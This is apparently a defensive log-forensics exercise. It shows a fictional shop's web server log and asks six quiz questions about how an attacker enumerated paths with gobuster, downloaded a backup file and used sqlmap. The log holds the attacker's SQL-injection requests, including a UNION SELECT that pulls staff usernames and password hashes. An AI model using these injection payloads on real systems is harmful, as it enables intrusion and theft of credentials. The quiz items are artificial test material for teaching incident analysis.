Missions / Defence

Rebuild the Shop Breach

IntermediateDefence150 points~20 min

On Wednesday morning ChaiCorp's customer list was posted on a forum. The web server log from the night before is below (times are Pakistan time, +0500). Normal shoppers are mixed in with the attacker.

Rebuild the attack step by step: who it was, which tools they used, what they took and how far they got. URL-encoded characters you will need: %27 = ', %20 = space, %3D = =, %2C = ,.

log /var/log/apache2/access.log (excerpt)
198.51.100.14 - - [18/Nov/2026:01:58:12 +0500] "GET / HTTP/1.1" 200 5120 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/130.0"
198.51.100.14 - - [18/Nov/2026:01:58:15 +0500] "GET /product.php?id=12 HTTP/1.1" 200 3310 "https://shop.chaicorp.example/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/130.0"
203.0.113.88 - - [18/Nov/2026:02:03:01 +0500] "GET /panel HTTP/1.1" 404 196 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:01 +0500] "GET /administrator HTTP/1.1" 404 196 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:01 +0500] "GET /backup HTTP/1.1" 404 196 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:02 +0500] "GET /backup.zip HTTP/1.1" 200 48211904 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:02 +0500] "GET /config HTTP/1.1" 403 199 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:02 +0500] "GET /db HTTP/1.1" 404 196 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:02 +0500] "GET /.git/HEAD HTTP/1.1" 404 196 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:03 +0500] "GET /login.php HTTP/1.1" 200 2950 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:03 +0500] "GET /old HTTP/1.1" 404 196 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:03 +0500] "GET /phpmyadmin HTTP/1.1" 404 196 "-" "gobuster/3.6"
203.0.113.88 - - [18/Nov/2026:02:03:03 +0500] "GET /uploads HTTP/1.1" 301 238 "-" "gobuster/3.6"
192.0.2.140 - - [18/Nov/2026:02:04:40 +0500] "GET /product.php?id=7 HTTP/1.1" 200 3298 "-" "Mozilla/5.0 (Linux; Android 14) Chrome/130.0 Mobile"
203.0.113.88 - - [18/Nov/2026:02:06:12 +0500] "GET /backup.zip HTTP/1.1" 200 48211904 "-" "curl/8.4.0"
192.0.2.140 - - [18/Nov/2026:02:07:02 +0500] "GET /cart.php HTTP/1.1" 200 2240 "https://shop.chaicorp.example/product.php?id=7" "Mozilla/5.0 (Linux; Android 14) Chrome/130.0 Mobile"
203.0.113.88 - - [18/Nov/2026:02:09:15 +0500] "GET /product.php?id=12%27 HTTP/1.1" 500 612 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)"
203.0.113.88 - - [18/Nov/2026:02:09:16 +0500] "GET /product.php?id=12%20AND%201%3D1 HTTP/1.1" 200 3310 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)"
203.0.113.88 - - [18/Nov/2026:02:09:16 +0500] "GET /product.php?id=12%20AND%201%3D2 HTTP/1.1" 200 1045 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)"
203.0.113.88 - - [18/Nov/2026:02:09:17 +0500] "GET /product.php?id=12%20ORDER%20BY%206--%20- HTTP/1.1" 200 3310 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)"
203.0.113.88 - - [18/Nov/2026:02:09:17 +0500] "GET /product.php?id=12%20ORDER%20BY%207--%20- HTTP/1.1" 500 612 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)"
203.0.113.88 - - [18/Nov/2026:02:09:19 +0500] "GET /product.php?id=-12%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--%20- HTTP/1.1" 200 1102 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)"
203.0.113.88 - - [18/Nov/2026:02:09:22 +0500] "GET /product.php?id=-12%20UNION%20ALL%20SELECT%201%2Cusername%2Cpassword_hash%2C4%2C5%2C6%20FROM%20staff--%20- HTTP/1.1" 200 18842 "-" "sqlmap/1.7.2#stable (https://sqlmap.org)"
203.0.113.88 - - [18/Nov/2026:02:14:51 +0500] "POST /login.php HTTP/1.1" 302 0 "https://shop.chaicorp.example/login.php" "Mozilla/5.0 (X11; Linux x86_64) Firefox/128.0"
203.0.113.88 - - [18/Nov/2026:02:14:52 +0500] "GET /staff/dashboard.php HTTP/1.1" 200 7731 "https://shop.chaicorp.example/login.php" "Mozilla/5.0 (X11; Linux x86_64) Firefox/128.0"
203.0.113.88 - - [18/Nov/2026:02:15:30 +0500] "GET /staff/export.php?table=customers HTTP/1.1" 200 2390112 "https://shop.chaicorp.example/staff/dashboard.php" "Mozilla/5.0 (X11; Linux x86_64) Firefox/128.0"
198.51.100.14 - - [18/Nov/2026:02:16:05 +0500] "GET /contact.php HTTP/1.1" 200 2875 "https://shop.chaicorp.example/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/130.0"

Need help? Review: Reading Logs · SQL Injection · Recon: Finding Hidden Pages · Lab: Web Log Hunt

0/6 solved0 / 150 pts

Q1. What is the attacker's IP address?

worth 25 pts

Q2. Which tool did the attacker use to guess folder and file names?

worth 25 pts

Q3. The scan found a file that the attacker later downloaded again with a different tool. What is the file?

worth 25 pts

Q4. What did the ORDER BY 6 (status 200) and ORDER BY 7 (status 500) requests tell the attacker?

worth 25 pts

Q5. What response size, in bytes, shows that the SQL injection finally pulled data out of the database?

worth 25 pts

Q6. After logging in as staff, which database table did the attacker export?

worth 25 pts